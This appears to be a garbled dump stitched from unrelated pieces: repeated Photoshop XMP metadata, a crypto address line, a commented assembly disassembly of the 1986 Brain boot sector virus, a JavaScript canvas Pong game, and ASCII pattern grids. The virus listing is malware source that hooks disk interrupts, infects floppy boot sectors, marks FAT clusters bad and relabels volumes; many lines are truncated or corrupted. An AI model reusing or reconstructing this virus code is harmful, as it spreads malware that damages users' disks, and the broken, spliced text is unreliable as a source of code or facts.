ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
Bj@=:BNB.BNB:bnb1pm75wutm07eygqld3c989743mrfg3fn5nvg8j6:26901136::0
text/plain;charset=utf-8
; This is the ashar variant of the classic Pakistani Brain virus. It is large
; by today's standards, although it was one of the first.  It is a floppy only
; boot sector infector.
brain           segment byte public
		assume  cs:brain, ds:brain
; Disassembly done by Dark Angel of PHALCON/SKISM
		jmp     entervirus
idbytes         db       34h, 12h
firsthead       db      0
firstsector     dw      2707h
curhead         db      0
cursector       dw      1
		db      0, 0, 0, 0
b      'Welcome to the  Dungeon         '
copyright       db      '(c) 1986 Brain'
		db      '& Amjads (pvt) Ltd   VIRUS_SHOE '
		db      ' RECORD   v9.0   Dedicated to th'
		db      'e dynamic memories of millions o'
		db      'f virus who are no longer with u'
		db      's today - Thanks GOODNESS!!     '
		db      '  BEWARE OF THE er..VIRUS  : \th'
		db      'is program is catching      prog'
		db      'ram follows after these messeges'
		mov     ds,ax                   ; ds = 0
		mov     ss,ax                   ; set stack to after
		mov     sp,0F000h               ; virus
		mov     al,ds:[7C00h+offset firsthead]
		mov     ds:[7C00h+offset curhead],al
		mov     cx,ds:[7C00h+offset firstsector]
		mov     ds:[7C00h+offset cursector],cx
		mov     cx,5                    ; read five sectors
		mov     bx,7C00h+200h           ; after end of virus
		mov     ax,word ptr ds:[413h]   ; Base memory size in Kb
		sub     ax,7                    ; - 7 Kb
		mov     word ptr ds:[413h],ax   ; Insert as new value
		shl     ax,cl                   ; Convert to paragraphs
		mov     si,7C00h                ; Copy from virus start
		mov     di,0                    ; to start of memory
		mov     cx,1004h                ; Copy 1004h bytes
		retf                            ; return to old boot sector
		mov     cx,4                    ; Try 4 times
		mov     dh,ds:[7C00h+offset curhead]
		mov     dl,0                    ; Read sector from default
		mov     cx,ds:[7C00h+offset cursector]
		mov     ax,201h                 ; Disk to memory at es:bx
		mov     ah,0                    ; Reset disk
		int     13h           M
          ; (force read track 0)
		int     18h                     ; ROM basic on failure
		mov     al,byte ptr ds:[7C00h+offset cursector]
		mov     byte ptr ds:[7C00h+offset cursector],al
		mov     byte ptr ds:[7C00h+offset cursector],1
		mov     al,ds:[7C00h+offset curhead]
		mov     ds:[7C00h+offset curhead],al
		mov     byte ptr ds:[7C00h+offset curhead],0
		inc     byte ptr ds:[7C00h+offset cursector+1]
; the following is a collection of garbage bytes
		db       00h, 00h, 00h, 00h, 32h,0E3h
		db       23h, 4Dh, 59h,0F4h,0A1h, 82h
		db      0BCh,0C3h, 12h, 00h, 7Eh, 12h
		db      0CDh, 21h,0A2h, 3Ch, 5Fh
a_data          dw      050Ch
; Second part of the virus begins here
		jmp     short entersecondpart
		db      '(c) 1986 Brain & Amjads (pvt) Ltd ',0
readcounter     db      4M
                       ; keep track of # reads
curdrive        db      0
int13flag       db      0
		mov     cs:readcounter,1Fh
		mov     ds,ax                   ; ds -> interrupt table
		mov     ax,ds:[13h*4]
		mov     ds:[6Dh*4],ax
		mov     ax,ds:[13h*4+2]
		mov     ds:[6Dh*4+2],ax
		mov     ax,offset int13         ; 276h
		mov     ds:[13h*4],ax
		mov     ds:[13h*4+2],ax
		mov     cx,4                    ; 4 tries
                   ; es -> interrupt table
		mov     dh,cs:firsthead
		mov     cx,cs:firstsector
		mov     ax,201h                 ; read from default disk
		int     6Dh                     ; int 13h
		jnc     readbootOK
		int     6Dh                     ; int 13h
		loop    tryreadbootsector
		int     18h                     ; ROM basic on failure
readbootOK:                                     ; return M
						; original boot sector
;*              jmp     far ptr 0000:7C00h
		db      0EAh, 00h, 7Ch, 00h, 00h
		nop                             ; MASM NOP!!!
		cmp     ah,2                    ; if not read request,
		jne     doint13                 ; do not go further
		cmp     dl,2                    ; if after second floppy,
		ja      doint13                 ; do not go further
		cmp     ch,0                    ; if not reading boot sector,
		jne     regularread             ; go hM
		cmp     dh,0                    ; if boot sector,
		je      readboot                ; do I<-/>/\|> stuff
		dec     cs:readcounter          ; Infect after 4 reads
		jnz     doint13                 ; If counter still OK, don't
						; do anything else
		jmp     short readboot          ; Otherwise, try to infect
		jmp     exitint13h
		mov     cs:int13flag,0          ; clear flag
		mov     cs:readcounter,4        ; reset counter
		mov     cs:curdrive,dl
		mov     ah,0                    ; Reset disk
		jc      errorreadingbootblock   ; Try again
		mov     bx,offset readbuffer    ; buffer @ 6BEh
		int     6Dh                     ; Read boot sector
		jnc     continuestuff           ; continue if no error
		loop    tryreadbootblock
		jmp     short resetdisk         ; too many failures
		pop     cx                      ; get system id in boot block
		mov     ax,word ptr cs:[offset readbuffer+4]
		cmp     ax,1234h                ; already infected?
		jne     dodisk                  ; if not, infect it
		mov     cs:int13flag,1          ; flag prev. infection
		jmp     short noreset
		call    writevirus              ; infect the disk
		jc      failme                  ; exit on failure
		mov     cs:int13flag,2          ; flag success
		call    changeroot              ; manipulate volume label
		jnc     noreset                 ; don't reset on success
		mov     ah,0                    ; reset disk
		int     6Dh                     ; int 13h
		jne     exitint13h
		jne     exitint13h
		cmp     cs:int13flag,1          ; already infected?
		jne     wasntinfected           ; if wasn't, go elsewhere
		mov     cx,word ptr cs:[offset readbuffer+7]
		mov     dx,word ptr cs:[offset readbuffer+5]
		mov     dl,cs:curdrive          ; otherwise, read real
		jmp     short exitint13h        ; boot sector
		cmp     cs:int13flag,2          ; successful infection?
		jne     exitint13h              ; if not, just doM
		mov     cx,cs:firstsector
		mov     dh,cs:firsthead
		int     6Dh                     ; int 13h
		db      15 dup (0)
FATManip:                                       ; returns al as error code
		jmp     short delvedeeper
FATManipreadcounter dw      3
		db      ' (c) 1986 Brain & Amjads (pvt) Ltd'
		call    readFAT                 ; Get FAT ID byte
		mov     ax,word ptr ds:[offset readbuffer]
		cmp     ax,0FFFDh               ; is it 360K disk?
      is360Kdisk              ; continue if so
		mov     al,3                    ; al=3 == not good disk
		stc                             ; flag error
		retn                            ; and exit
		mov     FATManipreadcounter,0   ; none found yet
		call    FATentry12bit           ; get entry in FAT
		cmp     ax,0                    ; unused?
		inc     FATManipreadcounter     ; one more found unused
		cmp     FATManipreadcounter,3   ; If M
		jne     tryanother              ;  go there
		jmp     short markembad         ; found 3 consecutive
		nop                             ; empty sectors
		mov     FATManipreadcounter,0   ; must start over
		inc     cx                      ; try next sector
		cmp     cx,163h                 ; end of disk?
		jne     checknextsector         ; if not, continue
		mov     al,1                    ; al=1 == none empty
		stc                             ; Indicate error
		mov     dl,3                    ; 3 times
		call    markbad12bit
		jnz     markanotherbad
		call    calc1sttrack
		call    writeFAT                ; update FAT
		mov     al,0                    ; al=0 == ok
		clc                             ; indicate success
		mov     si,offset readbuffer    ; si -> buffer
		jc      low_12                  ; low bits
		call    clus2offset12bit
		mov     ax,[bx+si]              ; get FAT entry
		and     ax,0F000h               ; mark it bad
		jmp     short putitback         ; and put it back
		call    clus2offset12bit
		mov     ax,[bx+si]              ; get FAT entry
		and     ax,0Fh                  ; mark it bad
		mov     [bx+si],ax              ; replace FAT entry
		mov     word ptr ds:[400h][bx+si],ax ; in two places
		mov     si,offset readbuffer    ; si->buffer
; Part 3 of the virus starts here
		jc      want_high_12
		call    clus2offset12bit
		mov     ax,[bx+si]
		jmp     short exitFATentry12bit
		call    clus2offset12bit        ; xxxxxxxxxxxx0000
		mov     ax,[bx+si]              ; ^^^^^^^^^^^^wanted
		and     ax,0FFF0h               ; mask wanted bits
		mov     cl,4                    ; and move to corrM
		shr     ax,cl                   ; position
		shr     ax,1                    ; ax = cx*1.5
		mov     ah,2                    ; read
		mov     ah,3                    ; write
		mov     cx,4                    ; try four times
  ah,0                    ; reset disk
		int     6Dh                     ; int 13h
		jc      tryFAT_IOagain
		mov     bx,offset readbuffer
		mov     al,4                    ; 4 sectors
		mov     dh,0                    ; head 0
		mov     dl,curdrive
		mov     cx,2                    ; sector 2
		push    ax                      ; (FAT)
		int     6Dh                     ; int 13h
		jnc     exitFAT_IO
		loop    FAT_IOLoop
		stc                             ; mark error
		shl     cx,1                    ; 2 sectors/cluster
		add     cx,0Ch                  ; start of data area
		mov     ax,cx                   ; ax = sector
		mov     cl,12h                  ; 4096
		div     cl                      ; ax/4096 = al rem ah
		mov     byte ptr firstsector+1,al
		mov     firsthead,0
		cmp     ah,9               M
     ; past track 9?
		jbe     notpasttrack9           ; nope, we are ok
		sub     ah,9                    ; otherwise, adjust
		mov     firsthead,1
		mov     byte ptr firstsector,ah
		db      0, 0, 0, 0, 0, 0
r_or_w_root     db      3
entrycount      dw      35h
tempsave1       dw      303h
tempsave2       dw      0EBEh
tempsave3       dw      1
tempsave4       dw      100h
		db      0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh
		db       8Dh, 98h, 9Fh, 8Eh,0E0h
		call    readroot                ; read in root directory
		jc      donotchangeroot
		call    changevolume            ; change volume label
		jc      donotchangeroot
		call    writeroot               ; write back new root dir
; The following is just garbage bytes
		db      0BBh, 9Bh, 04h,0B9h, 0Bh
		db      0,8Ah,7,0F6h,0D8h,88h,4,46h,43h
		db      0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h
		mov     si,offset readbuffer+40h; 3nd dir entry
		mov     tempsave1,dx
		mov     ax,entrycount           ; 6Ch
		mov     tempsave3,ax            ; 36h
		mov     tempsave2,ax            ; 1Bh
		and     cl,43h                  ; cx = 3
		mov     di,tempsave2
		add     di,1E3h                 ; di = 01FE
		je      dolabel                 ; no mo entries
		mov     al,[si+0Bh]             ; attrM
		and     al,8                    ; volume label?
		cmp     al,8                    ; yes?
		je      dolabel                 ; then change it!
		add     si,20h                  ; go to next directory entry
		dec     entrycount
		jnz     findlabel               ; loop back
		stc                             ; Error!
		mov     bx,[di]                 ; offset a_data
		xor     bx,tempsave3            ; bx = 53Ah
		mov     tempsave3,si            ; si->direntry
		mov     tempsave1,ax
		mov     tempsave2,sp
		mov     sp,tempsave3
		add     sp,0Ch                  ;->reserved area
		rol     ax,cl                   ; ax = 5A30h
		mov     tempsave3,ax
		sub     tempsave3,5210h         ; 820h
		push    tempsave3               ; store attributes/reserved
I haven't commented the remainder of this procedure.
; It basically changes the volume label to read "(c) Brain"
		mov     ah,[bx]                 ; 5a3h
		jc      dowhatever
		mov     dl,[bx]                 ; dl=C2h
		inc     bx                      ; bx=53Eh
		jc      searchstuff
		db       73h, 01h               ; jnc $+3M
		db      0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2
		add     dh,[bp+si]
		;db       95h, 04h,0A1h, 93h, 04h, 8Eh
		;db      0D0h,0FBh, 02h, 32h,0F8h,0C3h
		mov     r_or_w_root,2           ; set action code
		jmp     short do_rw_root        ; easier to do w/
		nop                             ; mov ah, 2
		mov     r_or_w_root,3
		jmp     short do_rw_root        ; M
this is somewhat useless
		mov     dh,0                    ; head 0
		mov     dl,curdrive
		mov     cx,6                    ; sector 6
		mov     ah,r_or_w_root
		mov     al,4                    ; 4 sectors
		mov     bx,offset readbuffer
		jc      exit_rw_root            ; quit on error
		mov     dh,1                    ; head 1
		mov     ah,r_or_w_root
		mov     tempsave2,bx
		mov     tempsave3,cx
		mov     tempsave4,dx
		mov     ah,0                    ; Reset disk
		jc      errordoingint13h
		mov     ax,tempsave1
		mov     bx,tempsave2
		mov     cx,tempsave3
		mov     dx,tempsave4
		int     6Dh                     ; int 13h
		jnc     int13hsuccess
		loop    doint13hloop
		stc                             ; indicate error
; Part 4 of the virus starts here
tempstorecx     dw      3
readwritecurrentdata    dw      301h
		jc      exitwritevirus
		mov     cursector,1
		mov     bx,offset readbuffer
		call    readcurrent
		mov     bx,offset readbuffer
		mov     ax,firstsector
		mov     cursector,ax
		mov     ah,firsthead
		mov     curhead,ah
		call    writecurrent
		call    calcnextsector
		mov     tempstorecx,cx
		call    writecurrent
		call    calcnextsector
		mov     cx,tempstorecx
		loop    writeanothersector
		mov     cursector,1
		call    writecurrent
		clc                             ; indicate success
		mov     readwritecurrentdata,201h
		jmp     short doreadwrite
		mov     readwritecurrentdata,301h
		jmp     short doreadwrite       ;M
		mov     dh,curhead
		mov     dl,curdrive
		mov     cx,cursector
		mov     ax,readwritecurrentdata ; read or write?
		int     6Dh                     ; int 13h
		jnc     readwritesuccessful
		mov     ah,0                    ; reset disk
		int     6Dh                     ; int 13h
		loop    tryreadwriteagain
		stc                             ; Indicate erroM
readwritesuccessful:
		inc     byte ptr cursector      ; next sector
		cmp     byte ptr cursector,0Ah
		jne     donecalculate           ; finished calculations
		mov     byte ptr cursector,1    ; clear sector #
		inc     curhead                 ; and go to next head
		cmp     curhead,2               ; if not too large,
		jne     donecalculate           ; we are done
		mov     curhead,0               ; otherwise clear head #
ptr cursector+1    ; and advance cylinder
		db       64h, 74h, 61h
; read buffer starts here
; insert your favorite boot block below...
brain           ends
text/html;charset=utf-8
  /*  Disable scrollbars */
  /* No floating content on sides */
  position: absolute;
<canvas>Your browser doesn't support canvas</canvas>
https://codepen.io/nukadelic/pen/dRZVvZ
"Coding an HTML5 Canvas Game with JS in 5 min 30 sec" by Gamkedo
outube.com/watch?v=KoWqdEACyLI
"Html5 Query selector" on W3Schools:
https://www.w3schools.com/jsref/met_document_queryselector.asp
"Resize html5 canvas to fit window" on stuckoverflow
https://stackoverflow.com/questions/1664785/resize-html5-canvas-to-fit-window
"Drawing shapes with canvas" from Mozilla developer blog
https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes
var versionInformation = "Pong";
var canvasElement, context;
var screenW, screenH, displayScale;
var mouse_x = 0, mouse_y = 0;
var mouse_moved = false;
var enemy_velocity = 0;
var pedal_1_y, pedal_2_y;
var pedal_1_x, pedal_2_x;
var ball_speed, ball_speed_angle;
var ball_velocity_x, ball_velocity_y;
window.onload = function()
  // get html dom element
  canvasElement = document.querySelector('canvas');
  canvasElement.addEventListener('mousemove', onMouseMove);
  // resize using the canvas elemM
ent, must be called second
  // event will be dispatched each time the window screen is resized
  window.addEventListener('resize', onWindowResize, false);
  // call function for the first time to initialize screen size
  // get 2D drawing context from canvas element
  context = canvasElement.getContext('2d');
  // start an update function 40 times per second
  setInterval(update, 1000/game_frame_rate );
function onMouseMove( event )
  var rect = canvasEleM
ment.getBoundingClientRect();
  mouse_moved = true;
  mouse_x = ( event.clientX - rect.left )/( rect.right - rect.left) * canvasElement.width;
  mouse_y = ( event.clientY - rect.top )/( rect.bottom - rect.top) * canvasElement.height;
  // reset variables
  score1 = score2 = 0;
  ball_speed_angle = 0;
  // initial pedal variables relative to screen size
  pedal_1_y = pedal_2_y = screenH / 2 - pedal_height / 2;
  resetBall( Math.ranM
dom() > 0.5 ? 1 : -1 );
function onWindowResize()
  canvasElement.width = screenW = window.innerWidth;
  canvasElement.height = screenH = window.innerHeight;
  // simple scale factor calculation relative to screen size
  var minScreenSize = Math.min( screenW, screenH );
  if( minScreenSize <= 400 ) displayScale = 1;
  else if( minScreenSize <= 600 ) displayScale = 2;
  else if( minScreenSize <= 1000 ) displayScale = 2.5;
  else displayScale = 3;
  // screen / pedal, relative size
  pedal_thikness = 10 * diM
  pedal_height = screenH / 6.5;
  pedal_2_x = screenW - pedal_thikness - 30;
  // pedal / ball, relative size
  ball_radius = pedal_thikness / 2;
  // ball speed relative to screen size and frame rate
  ball_speed = displayScale * 240 / game_frame_rate;
  // enemy speed relative to screen size and frame rate
  enemy_velocity = displayScale * 80 / game_frame_rate;
function updateOnFrame()
  var level_difficulty = 1 + score1 / 4;
  // calculate ball velocity based on angle
cBallVelocity( ball_speed_angle, ball_speed * level_difficulty );
  ball_x += ball_velocity_x;
  ball_y += ball_velocity_y;
  // bounce ball if it touches the screen upper/lower limit
  if( ( ball_y < 0 && ball_velocity_y < 0  ) || ( ball_y > screenH && ball_velocity_y > 0 ) )
    ball_speed_angle = Math.atan2( -ball_velocity_y, ball_velocity_x );
  // calculate enemy speed
  var enemy_speed = enemy_velocity * level_difficulty;
  if( pedal_2_y + pedal_height / 2 < ball_y )M
 pedal_2_y += enemy_speed;
  if( pedal_2_y + pedal_height / 2 > ball_y ) pedal_2_y -= enemy_speed;
  // move player pedal
    pedal_1_y = mouse_y;
  // check ball vs player pedal collision
  if( ball_x - ball_radius < pedal_1_x + pedal_thikness )
  if( ball_y > pedal_1_y && ball_y < pedal_1_y + pedal_height )
    // invert x velocity
    //ball_speed_angle = Math.atan2( ball_velocity_y, Math.abs(ball_velocity_x) );
    // deflect ball relative to hit point on the pedal
 = ( ball_y - pedal_1_y ) / pedal_height - 0.5;
    ball_speed_angle = ( Math.PI / 2 ) * hit;
  // check ball vs enemy pedal collision
  if( ball_x + ball_radius > pedal_2_x )
  if( ball_y > pedal_2_y && ball_y < pedal_2_y + pedal_height )
    // invert x velocity
    //ball_speed_angle = Math.atan2( ball_velocity_y, -Math.abs(ball_velocity_x) );
    // deflect ball relative to hit point on the pedal
    var hit = ( ball_y - pedal_2_y ) / pedal_height - 0.5;
    ball_speed_angle = Math.PI + ( Math.PI / 2 )M
  // pedal_1_x, pedal_1_y, pedal_thikness, pedal_height
  // check for score
  if( ball_x > screenW )
function resetBall( direction )
  ball_x = screenW / 2;
  ball_y = screenH / 2;
  ball_speed_angle = ( Math.random() - 0.5 ) * Math.PI / 2;
  if( direction < 0 ) ball_speed_angle += Math.PI;
function drawOnFrame()
  // fill background with black color
  context.fillStyle='white';
.fillRect(0,0,screenW,screenH);
  // display game information
  context.font= getFont(18);
  context.fillStyle='black';
  var titleText = versionInformation;
  context.fillText(titleText,20,40);
  // display game scores
  context.font= getFont(20);
  var textPedding = 10 * displayScale;
  context.fillRect(screenW/2-2,0,4,30 + textPedding);
  context.fillText(score1,screenW/2 - 50 - textPedding,20 + textPedding);
  context.fillText(score2,screenW/2 + 30 + textPedding,20 + textPedding);
  // display peddals
ext.fillStyle = 'black';
  context.fillRect(pedal_1_x, pedal_1_y, pedal_thikness, pedal_height );
  context.fillRect(pedal_2_x, pedal_2_y, pedal_thikness, pedal_height );
  context.beginPath();
  context.arc(ball_x, ball_y, ball_radius, 0, Math.PI * 2, true);
function getFont( size )
  return (size * displayScale) + 'px Arial';
function calcBallVelocity( angle, speed )
  ball_velocity_x = Math.cos( angle ) * speed;
  ball_velocity_y = Math.sin( angle ) * speed;
//wBant an ordinal game? twitter @skyrover7
text/plain;charset=utf-8
..+++.+..........++-++..........--+++..........--+++..........--
...........................+....+....+....-+...-+....+....-+...-
+..|..|...-..+..+..-..-...-........-..-...+........-..-..|+.|...
+.|.-....|.|..+...-....+.-.-......-......-.+....-.-.|.|..+...|..
+..-.|.-....|.|......+.+.+|.|.-....|.|......-.+.+|.|.-....|...+.
....|..|..+..--..|..+..+...|.....-..|..+..+...|.....-..-|.+|.+-.
+.|...-+....|....+....+-....-|....|....+.....-...++|...-....+|..
....-|+-..........+..--|............+-.-|............++-..|.....
.........---.............++++..........---+++..........----.....
...|....-+...|-...-+....|....|+...|+...|+.........|-....+...|-..
..-..+..-..-..|..-...+..|..-..|+.|...+.|...-.....|...-..+..-..+.
...|....-.-....+.+.|......-.|..+.+.|......-.|....+.-......-.|...
....|.|......|.-....|.-......-.-....-.-....|.-.-..|.-.-..|.|.-.+
..+..-...|..|.....+..+...-..-..||........-..-..-...|..|..+..-..+
...+|-...-|....+....-....+|...+||...+|....-....-....+|...+.|...+
...........+-.+-|...........+-|.-|...........++|...........+-.+-
..+............||---++..........++++...........||---..........--
+....|+...-+....-....+.....+....+....-+.........+.........|+....
+..-...+.-...+..-..|..-......+.....-..-...+.|...+..-.....-......
-.-......+.|....-.|.-....-.|..+...+.|....-...|....-.|..+...-....
+....+......|.-.+..-.-.+....|.|..|.|.-.............|.-.+....+.+.
+...+..-..+..+..++..-..-..+..+...-..-..+..+..+...-..-..+..+..+-.
..-...+-....-.....-....|....-.....-....-|...-.....-....-....-...
...+++-|............+-|-|............+-|.|............+-|.......
.........||............||--+++.........||-+..........||--++.....
...-+...+....-+....-....-+....-...-.....-....-+....-.........-..
..-.|...+..-..|......+..-..|...+.-..|...+..-..-..|...+..-..|..+.
.+.-.|..+.-......+.|....+.|....-...-.|....-.|....+.-....+.|....+
....|.-.+..|.-.+....|.-.+....|.-..|.-......|.-.+....|.+....|.-.+
......|..|..-..-..+..+..+...|..||..|..-..-..+..+......|..|..-..+
....-....+|...+|...+|....-....-.-....-....-|...+|...+|....-....-
..........++-||...........+--|..--|...........++-||...........+-
-+...........||-++...........|--..|--+...........||-++..........
-....-....|+...|+...|-....-....-.-....-....|+...|+...|+....-....
+..-..|..|......+..+..-..-..|..||..|...+..+..+..-..-..|..|......
+.-.|....+.|....+.-.|......-.|..-.|....+.-.|....+.-.|..+.-.|....
+....|.+....-.+....|.-....|.-...-....|.+....|.+......-.+..|.-.+.
.+..|..-..+...|..-..-..+...|..-.+...|..-..+......|..-..+...|.-..
..-.........-....+-....-.....-...-....+-....-....+-....+...+-...
.....++--||..........+-||.........+++--||............||.........
.......|-+............|.|-+............|-|-+............|-+++...
...-....-....-.....-...|-....-.....-....|....-.....-....-+...-..
.-+..+..+..-..-...+..+..+..-..-...+..+..-..-..++..+..+..-..+...+
.+.+....+.-.|.............-.|.|..|.|....+.-.-..+.-.|......+....+
....-...+..|.-....|...-....|.+...+..|.-....-.|.-....|.+......-.-
......-.....-..+...|.+...-..-.....+......-..|..-..+...-.+...-..+
....+|.........+.........+-....+....+.....+....-....+-...+|....+
--..........---||...........++++..........++---||............+..
-+.-+...........|++...........|-.|-+...........|-+.-+...........
+...|.+...|+....-....-....|+...||+...|+....-....+....|-...-|+...
+..-..+..|..|...-..-..-........||..-..-...+..+.....|..|...-..+..
+.-.|.|..-.-.|..-.-.|....-.-....-.-......-.|....-.|......|.|....
...|.-......-.+....|.-......|.+.+..|.-......|.+.+....-.-....|...
.+..-..+..-...|.....-...|.+...|.+|..-..|..+...-..|..-..-..+..-..
..-|...+....-|.........+|...+|...+|....|....+-...-|...+-....|...
.....----..........+++---..........++++.............---.........
.....|..-++............|-.-+............|--..+..........-+|-....
..|+....-...|++...-.....+....|....|-....-+....+....|....+-...|.+
.-+.|+.|-..-.....|...+..+..|..-.....|...+..+..|..--..+..|..|....
.+...|....-.|.|+.+.-......|.|....-.|.|+.+.+......|.|....-.|.-..+
..|...+..|.|.-.-....+.-......-......-.-.+....-...+..|.|....-.|.+
...|.+|..-..-........+...-..-........-...-..-..+..+..-...|..|..+
-...+-....+....+-...+-....+....+....+...........................
--..........+++--..........+++--..........++-++..........+.+++..
text/plain;charset=utf-8
...\X.\X...X.../../...\......./.../../...\X...X../.../...\X.\X..
..\\...../....\\...\\X..../....\\...../....\\...\\X..../....\\X.
.\\\XX.......\\XXX.......\\XXX.......\\XX........\\XX.......\\\X
\\\XX//////\\.XX///\/\\\..X//\\\\\\...//\\\.\...../\\........\\\
X.XX........XX//........//\\........\\........XX........XX//....
..X/....X\..../\...//...XX.....\\...//...X/....X\..../\...//...X
\../...\../...X.../...\.../..X.../..X....\../.../..XX...\..X...\
X../..\.....\.X../...../..../...../../...../.X../..\../..\.X....
.../.X....\.X./..\.../....../.X....../...X../.\.X....\./....../.
././.\..........X.X.\.....\....X.X./.\.X./.\......X./.X./.\.....
.../../.\..X..../..X.........\../.\..X..X./..X....X....\../..../
X..\......X..\...X../..\...X..\..\/..X..\.../..X..\X../..X..\X..
...\X..\X..../...\X......../..../..../.../....\X.../X...\X..\X..
..\.X......\/......\X/.....\.X...../\/......\X/.....\XX...../\X.
.\\X//XX/..................../..//.//../.....................\\/
/\XX/\...........XX/\.X/\...........X//\../\...........X//\...\.
..X/.....X/.....X/.....XX.....XX.....XX.....XX.....XX.....XX....
..X/.../\..X\..X/.../\...\...X...X....\...\.../.../\...\...X...X
/../../..X..X..X..X.../../../../..X..X..X..XX..X..X..X..X.......
.\.\./....X..\./..../..\.\.././.X.....\.\./..X.X..\./.././..\.\.
.\././...\./.X.\././.../.X.X...X.............X..\.....\./.....\.
.X.\..../..../...\..../..../....../..../..../.\./..../..../.\..X
\..\..\........X../../X.\X.\..\..\..\..\.........../../X.\X.\..\
...\.../...\.../X..\/...X.../...X.../X..X...\X......\X......\X..
..../X.........\X.....\X...../X..../X....\/.....\/....X...../X..
..\./X...........\/\X.X.......././X/........\.\X/.........../\/.
./\X\./..\..............................X....X.X/.//XX\//./\.\./
..X/\......X/\......X/\......X/\\......X/\......X/\......X/\....
..X/...//.........//.../........../...//.........//.../.........
..X\..X...\..X/..X....../..X.../..X/..X.../..X....../\../...\../
/..\....X..\....X../..\.X../..\..\..../..\....X../..\.X../..\...
.\.\.\...X......X./.X..../.\./......\...X...X..../././....\.\.\.
.\.\.\...X......X./.X..../.\./......\...X...X..../././....\.\.\.
/..\....X..\....X../..\.X../..\..\..../..\....X../..\.X../..\...
..X\..X...\..X/..X....../..X.../..X/..X.../..X....../\../...\../
..X/...//.........//.../........../...//.........//.../.........
..X/\......X/\......X/\......X/\\......X/\......X/\......X/\....
./\X\./..\..............................X....X.X/.//XX\//./\.\./
..\./X...........\/\X.X.......././X/........\.\X/.........../\/.
..../X.........\X.....\X...../X..../X....\/.....\/....X...../X..
...\.../...\.../X..\/...X.../...X.../X..X...\X......\X......\X..
\..\..\........X../../X.\X.\..\..\..\..\.........../../X.\X.\..\
.X.\..../..../...\..../..../....../..../..../.\./..../..../.\..X
.\././...\./.X.\././.../.X.X...X.............X..\.....\./.....\.
.\.\./....X..\./..../..\.\.././.X.....\.\./..X.X..\./.././..\.\.
/../../..X..X..X..X.../../../../..X..X..X..XX..X..X..X..X.......
